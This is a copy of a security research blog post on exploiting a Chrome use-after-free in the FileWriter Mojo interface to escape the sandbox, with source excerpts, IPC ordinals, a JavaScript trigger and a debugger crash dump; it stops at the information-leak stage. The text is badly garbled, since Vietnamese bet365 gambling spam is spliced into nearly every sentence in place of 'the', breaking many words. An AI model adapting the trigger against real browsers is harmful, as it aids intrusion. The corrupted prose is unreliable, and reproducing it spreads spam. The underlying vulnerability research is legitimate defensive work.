Thursday, April 11, 2019

Virtually Unlimited Memory: Escaping cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Chrome Sandbox

Posted by Mark Brand, Exploit Technique Archaeologist.

Introduction

After discovering a collection of possible sandbox escape vulnerabilities in Chrome, it seemed worthwhile to exploit one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se issues as a full-chain exploit togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r with a renderer vulnerability to get a better understanding of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mechanics required for a modern Chrome exploit. Considering cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 available bugs, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most likely appeared to be issue 1755, a use-after-free with parallels to classic Javascript engine callback bugs. This is a good candidate because of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 high level of control cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker has both over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lifetime of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 free’d object, and over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 timing of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 later use of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 object.

Apologies in advance for glossing over a lot of details about how cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Mojo IPC mechanisms function - cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’ll hopefully be some future blogposts explaining in more detail how cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current Chrome sandbox interfaces look, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s a lot to explain!

For cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rest of this blog post, we’ll be considering cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last stable 64-bit release of Desktop Chrome for Windows before this issue was fixed, 71.0.3578.98.

Getting started

One of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most interesting things that we noticed during our research into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Chrome Mojo IPC layer is that it’s actually possible to make IPC calls directly from Javascript in Chrome! Passing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 command line flag ‘--enable-blink-features=MojoJS’ to Chrome will enable this - and we used this feature to implement a Mojo fuzzer, which found some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bugs reported.

Knowing about this feature, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cleanest way to implement a full Chrome chain would be to use a renderer exploit to enable cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se bindings in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 running renderer, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n do our privilege elevation from Javascript!

Exploiting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer

_tsuro happened to have been working on an exploit for CVE-2019-5782, a nice bug in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 v8 typer that was discovered by SOrryMybad and used at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Tian Fu Cup. I believe cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y have an upcoming blog post on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue, so I’ll leave cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 details to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m.

The bug resulted from incorrectly estimating cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 possible range of `arguments.length`; this can cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n be leveraged togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 (BCE) Bounds-Check-Elimination pass in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 JIT.  Exploitation is very similar to ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r typer bugs - you can find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit in ‘many_args.js’. Note that as a result of _tsuro’s work, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 v8 team have removed cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 BCE optimisation to make it harder to exploit such issues in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 typer!

The important thing here is that we’ll need to have a stable exploit - in order to launch cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sandbox escape, we need to enable cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Mojo bindings; and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 easiest way to do this needs us to reload cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 main frame, which will mean that any objects we leave in a corrupted state will become fair game for garbage collection.

Talking to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Browser Process

Looking through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Chrome source code, we can see that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Mojo bindings are added to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Javascript context in RenderFrameImpl::DidCreateScriptContext, based on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 member variable enabled_bindings_. So, to mimic cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 command line flag we can use our read/write to set that value to BINDINGS_POLICY_MOJO_WEB_UI, and force cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 creation of a new ScriptContext for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 main frame and we should have access to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bindings!

It’s slightly painful to get hold of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RenderFrameImpl for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current frame, but by following a chain of pointers from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 global context object we can locate chrome_child.dll, and find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 global `g_frame_map`, which is a map from blink::Frame pointers to RenderFrameImpl pointers. For cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 purposes of this exploit, we assume that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is only a single entry in this map; but it would be simple to extend this to find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 right one. It’s cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n trivial to set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 correct flag and reload cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page - see `enable_mojo.js` for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implementation.

Note that Chrome randomizes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IPC ordinals at build time, so in addition to enabling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bindings, we also need to find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 correct ordinals for every IPC method that we want to call. This can be resolved in a few minutes of time in a disassembler of your choice; given that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer needs to be able to call cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se IPC methods, this is just a slightly annoying obfuscation that we could engineer around if we were trying to support more Chrome builds, but for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 one version we’re supporting here it’s sufficient to modify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handful of javascript bindings we need:

var kBlob_GetInternalUUID_Name = 0x2538AE26;

var kBlobRegistry_Register_Name = 0x2158E98A;
var kBlobRegistry_RegisterFromStream_Name = 0x719E4F82;

var kFileSystemManager_Open_Name = 0x305E02BE;
var kFileSystemManager_CreateWriter_Name = 0x63B8D2A6;

var kFileWriter_Write_Name = 0x64D4FC1C;

The bug

So we’ve got access to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IPC interfaces from Javascript - what now?

The bug that we’re looking at is an issue in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implementation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FileWriter interface of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FileSystem API. This is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 interface description for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FileWriter interface, which is an IPC endpoint vended by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 privileged browser process to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 unprivileged renderer process to allow cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer to perform brokered file writes to special sandboxed filesystems:

// Interface provided to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer to let a renderer write data to a file.
interface FileWriter {
 // Write data from |blob| to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 given |position| in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file being written
 // to. Returns whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 operation succeeded and if so how many bytes were
 // written.
 // TODO(mek): This might need some way of reporting progress events back to
 // cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer.
 Write(uint64 position, Blob blob) => (mojo_base.mojom.FileError result,
                                       uint64 bytes_written);

 // Write data from |stream| to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 given |position| in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file being written
 // to. Returns whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 operation succeeded and if so how many bytes were
 // written.
 // TODO(mek): This might need some way of reporting progress events back to
 // cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer.
 WriteStream(uint64 position, handle stream) =>
       (mojo_base.mojom.FileError result, uint64 bytes_written);

 // Changes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 length of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file to be |length|. If |length| is larger than
 // cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current size of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file will be extended, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extended
 // part is filled with null bytes.
 Truncate(uint64 length) => (mojo_base.mojom.FileError result);
};

The vulnerability was in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implementation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first method, Write. However, before we can properly understand cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug, we need to understand cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lifetime of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FileWriter objects. The renderer can request a FileWriter instance by using one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 methods in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FileSystemManager interface:

// Interface provided by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer to carry out filesystem
// operations. All [Sync] methods should only be called synchronously on worker
// threads (and asynchronously ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise).
interface FileSystemManager {
 // ...

 // Creates a writer for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 given file at |file_path|.
 CreateWriter(url.mojom.Url file_path) =>
     (mojo_base.mojom.FileError result,
      blink.mojom.FileWriter? writer);

 // ...
};

The implementation of that function can be found here:

void FileSystemManagerImpl::CreateWriter(const GURL& file_path,
                                        CreateWriterCallback callback) {
 DCHECK_CURRENTLY_ON(BrowserThread::IO);

 FileSystemURL url(context_->CrackURL(file_path));
 base::Optional opt_error = ValidateFileSystemURL(url);
 if (opt_error) {
   std::move(callback).Run(opt_error.value(), nullptr);
   return;
 }
 if (!security_policy_->CanWriteFileSystemFile(process_id_, url)) {
   std::move(callback).Run(base::File::FILE_ERROR_SECURITY, nullptr);
   return;
 }

 blink::mojom::FileWriterPtr writer;
 mojo::MakeStrongBinding(std::make_unique(
                             url, context_->CreateFileSystemOperationRunner(),
                             blob_storage_context_->context()->AsWeakPtr()),
                         MakeRequest(&writer));
 std::move(callback).Run(base::File::FILE_OK, std::move(writer));
}

The implication here is that if everything goes correctly, we’re returning a std::unique_ptr bound to a mojo::StrongBinding. A strong binding means that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lifetime of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 object is bound to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lifetime of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Mojo interface pointer - this means that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r side of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 connection can control cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lifetime of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 object - and at any point where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code in storage::FileWriterImpl yields control of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sequence associated with that binding, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 connection could be closed and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 instance could be free’d.

This gives us a handle to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 blink::mojom::FileWriter Mojo interface described here; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 function of interest to us is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Write method, which has a handle to a blink::mojom::Blob as one of it’s parameters. We’ll look at this Blob interface again shortly.

With this in mind, it’s time to look at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerable function.

void FileWriterImpl::Write(uint64_t position,
                          blink::mojom::BlobPtr blob,
                          WriteCallback callback) {
 blob_context_->GetBlobDataFromBlobPtr(
     std::move(blob),
     base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this),
                    std::move(callback), position));
}

Now, it’s not immediately obvious that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s an issue here; but in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Chrome codebase instances of base::Unretained which aren’t immediately obviously correct are often worth furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r investigation (this creates an unchecked, unowned reference - see Chrome documentation). So; this code can only be safe if GetBlobDataFromBlobPtr always synchronously calls cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 callback, or if destroying this will ensure that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 callback is never called. Since blob_context_ isn’t owned by this, we need to look at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implementation of GetBlobDataFromBlobPtr, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way in which it uses callback:

void BlobStorageContext::GetBlobDataFromBlobPtr(
   blink::mojom::BlobPtr blob,
   base::OnceCallback<>)> callback) {
 DCHECK(blob);
 blink::mojom::Blob* raw_blob = blob.get();
 raw_blob->GetInternalUUID(mojo::WrapCallbackWithDefaultInvokeIfNotRun(
     base::BindOnce(
         [](blink::mojom::BlobPtr, base::WeakPtr context,
            base::OnceCallback<>)> callback,
            const std::string& uuid) {
           if (!context || uuid.empty()) {
             std::move(callback).Run(nullptr);
             return;
           }
           std::move(callback).Run(context->GetBlobDataFromUUID(uuid));
         },
         std::move(blob), AsWeakPtr(), std::move(callback)),
     ""));
}

The code above is calling an asynchronous Mojo IPC method GetInternalUUID on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 blob parameter that’s passed to it, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n (in a callback) when that method returns it’s using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 returned UUID to find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 associated blob data (GetBlobDataFromUUID), and calling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 callback parameter with this data as an argument.

We can see that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 callback is passed into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 return callback for an asynchronous Mojo function exposed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Blob interface:

// This interface provides access to a blob in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 blob system.
interface Blob {
 // Creates a copy of this Blob reference.
 Clone(Blob& blob);

 // Creates a reference to this Blob as a DataPipeGetter.
 AsDataPipeGetter(network.mojom.DataPipeGetter& data_pipe_getter);

 // Causes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entire contents of this blob to be written into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 given data
 // pipe. An optional BlobReaderClient will be informed of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 result of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365
 // read operation.
 ReadAll(handle pipe, BlobReaderClient? client);

 // Causes a subrange of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of this blob to be written into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365
 // given data pipe. If |length| is -1 (uint64_t max), cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 range's end is
 // unbounded so cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entire contents are read starting at |offset|. An
 // optional BlobReaderClient will be informed of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 result of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 read
 // operation.
 ReadRange(uint64 offset, uint64 length, handle pipe,
           BlobReaderClient? client);

 // Reads cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 side-data (if any) associated with this blob. This is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same
 // data that would be passed to OnReceivedCachedMetadata if you were reading
 // this blob through a blob URL.
 ReadSideData() => (array? data);

 // This method is an implementation detail of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 blob system. You should not
 // ever need to call it directly.
 // This returns cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 internal UUID of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 blob, used by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 blob system to
 // identify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 blob.
 GetInternalUUID() => (string uuid);
};

This means that we can provide an implementation of this Blob interface hosted in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer process; pass an instance of that implementation into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FileWriter interface’s Write method, and we’ll get a callback from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser process to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer process during cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 execution of GetBlobDataFromBlobPtr, during which we can destroy cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FileWriter object. The use of base::Unretained here would be dangerous regardless of this callback, but having it scheduled in this way makes it much cleaner to exploit.

Step 1: A Trigger

First we need to actually reach cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug - this is a minimal trigger from Javascript using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MojoJS bindings we enabled earlier. A complete sample is attached to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bugtracker entry - cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file is ‘trigger.js’

async function trigger() {
 // we need to know cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 UUID for a valid Blob
 let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
 Mojo.bindInterface(blink.mojom.BlobRegistry.name,
                    mojo.makeRequest(blob_registry_ptr).handle, "process");

 let bytes_provider = new BytesProviderImpl();
 let bytes_provider_ptr = new blink.mojom.BytesProviderPtr();
 bytes_provider.binding.bind(mojo.makeRequest(bytes_provider_ptr));

 let blob_ptr = new blink.mojom.BlobPtr();
 let blob_req = mojo.makeRequest(blob_ptr);

 let data_element = new blink.mojom.DataElement();
 data_element.bytes = new blink.mojom.DataElementBytes();
 data_element.bytes.length = 1;
 data_element.bytes.embeddedData = [0];
 data_element.bytes.data = bytes_provider_ptr;

 await blob_registry_ptr.register(blob_req, 'aaaa', "text/html", "", [data_element]);

 // now we have a valid UUID, we can trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug
 let file_system_manager_ptr = new blink.mojom.FileSystemManagerPtr();
 Mojo.bindInterface(blink.mojom.FileSystemManager.name,
                    mojo.makeRequest(file_system_manager_ptr).handle, "process");

 let host_url = new url.mojom.Url();
 host_url.url = window.location.href;

 let open_result = await file_system_manager_ptr.open(host_url, 0);

 let file_url = new url.mojom.Url();
 file_url.url = open_result.rootUrl.url + '/aaaa';

 let file_writer = (await file_system_manager_ptr.createWriter(file_url)).writer;

 function BlobImpl() {
   this.binding = new mojo.Binding(blink.mojom.Blob, this);
 }

 BlobImpl.prototype = {
   getInternalUUID: async (arg0) => {
     // here we free cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FileWriterImpl in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 callback
     create_writer_result.writer.ptr.reset();

     return {'uuid': 'aaaa'};
   }
 };

 let blob_impl = new BlobImpl();
 let blob_impl_ptr = new blink.mojom.BlobPtr();
 blob_impl.binding.bind(mojo.makeRequest(blob_impl_ptr));

 file_writer.write(0, blob_impl_ptr);
}

Step 2: Replacement

Although it’s likely not to be of much use in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end, I usually like to start cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process of exploiting a use-after-free by replacing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 object with completely attacker controlled data - although without an ASLR bypass or an information leak, it’s unlikely we can do anything useful with this primitive, but it’s often useful to get an understanding of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocation patterns around cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 object involved, and it gives a clear crash that’s useful to demonstrate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 likely exploitability of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue.

On cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Windows build that we’re looking at, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FileWriterImpl is 0x140 bytes. I originally looked at using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Javascript Blob API directly to create allocations, but this causes a number of additional temporary allocations of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same size, which significantly reduces reliability. A better way to cause allocations of a controlled size with controlled data in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser process is to register new Blobs using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 BlobRegistry registerFromStream method - this will perform all of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 secondary allocations during cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 initial call to registerFromStream, and we can cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n trigger a single allocation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 desired size and contents later by writing data into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DataPipeProducerHandle.

We can test this (see ‘trigger_replace.js’), and indeed it does reliably replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 free’d object with a buffer containing completely controlled bytes, and crashes in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way we’d expect:

(1594.226c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chrome!storage::FileSystemOperationRunner::GetMetadata+0x33:
00007ffc`362a1a99 488b4908        mov     rcx,qword ptr [rcx+8] ds:23232323`2323232b=????????????????
0:002> r
rax=0000ce61f98b376e rbx=0000021b30eb4bd0 rcx=2323232323232323
rdx=0000021b30eb4bd0 rsi=0000005ae4ffe3e0 rdi=2323232323232323
rip=00007ffc362a1a99 rsp=0000005ae4ffe2f0 rbp=0000005ae4ffe468
r8=0000005ae4ffe35c  r9=0000005ae4ffe3e0 r10=0000021b30badbf0
r11=0000000000000000 r12=0000000000000000 r13=0000005ae4ffe470
r14=0000000000000001 r15=0000005ae4ffe3e8
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
chrome!storage::FileSystemOperationRunner::GetMetadata+0x33:
00007ffc`362a1a99 488b4908        mov     rcx,qword ptr [rcx+8] ds:23232323`2323232b=????????????????
0:002> k
# Child-SP          RetAddr           Call Site
00 0000005a`e4ffe2f0 00007ffc`362a74ed chrome!storage::FileSystemOperationRunner::GetMetadata+0x33 01 0000005a`e4ffe3a0 00007ffc`362a7aef chrome!storage::FileWriterImpl::DoWrite+0xed

Step 3: Information Leak

It’s not much use controlling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 free’d object, when we need to be able to put valid pointers in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re - so at this point we need to consider how cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 free’d object is used, and what options we have for replacing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 free’d object with a different type of object, essentially turning cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 use-after-free into a type-confusion in a way that will achieve something useful to us.

Looking through objects of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same size in windbg however did not provide any immediate answers - and since most of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 methods being called from DoWrite are non-virtual, we actually need quite a large amount of structure to be correct in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 replacing object.

void FileWriterImpl::DoWrite(WriteCallback callback,
                            uint64_t position,
                            std::unique_ptr blob) {
 if (!blob) {
   std::move(callback).Run(base::File::FILE_ERROR_FAILED, 0);
   return;
 }
 // FileSystemOperationRunner assumes that positions passed to Write are always
 // valid, and will NOTREACHED() if that is not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 case, so first check cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365
 // size of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file to make sure cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 position passed in from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer is
 // in fact valid.
 // Of course cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file could still change between checking its size and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365
 // write operation being started, but this is at least a lot better than cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365
 // old implementation where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer only checks against how big it thinks
 // cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file currently is.
 operation_runner_->GetMetadata(
     url_, FileSystemOperation::GET_METADATA_FIELD_SIZE,
     base::BindRepeating(&FileWriterImpl::DoWriteWithFileInfo,
                         base::Unretained(this),
                         base::AdaptCallbackForRepeating(std::move(callback)),
                         position, base::Passed(std::move(blob))));
}

So; we’re going to make a non-virtual call to FileSystemOperationRunner::GetMetadata with a this pointer taken from inside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 free’d object:

OperationID FileSystemOperationRunner::GetMetadata(
   const FileSystemURL& url,
   int fields,
   GetMetadataCallback callback) {
 base::File::Error error = base::File::FILE_OK;
 std::unique_ptr operation = base::WrapUnique(
     file_system_context_->CreateFileSystemOperation(url, &error));
 ...
}

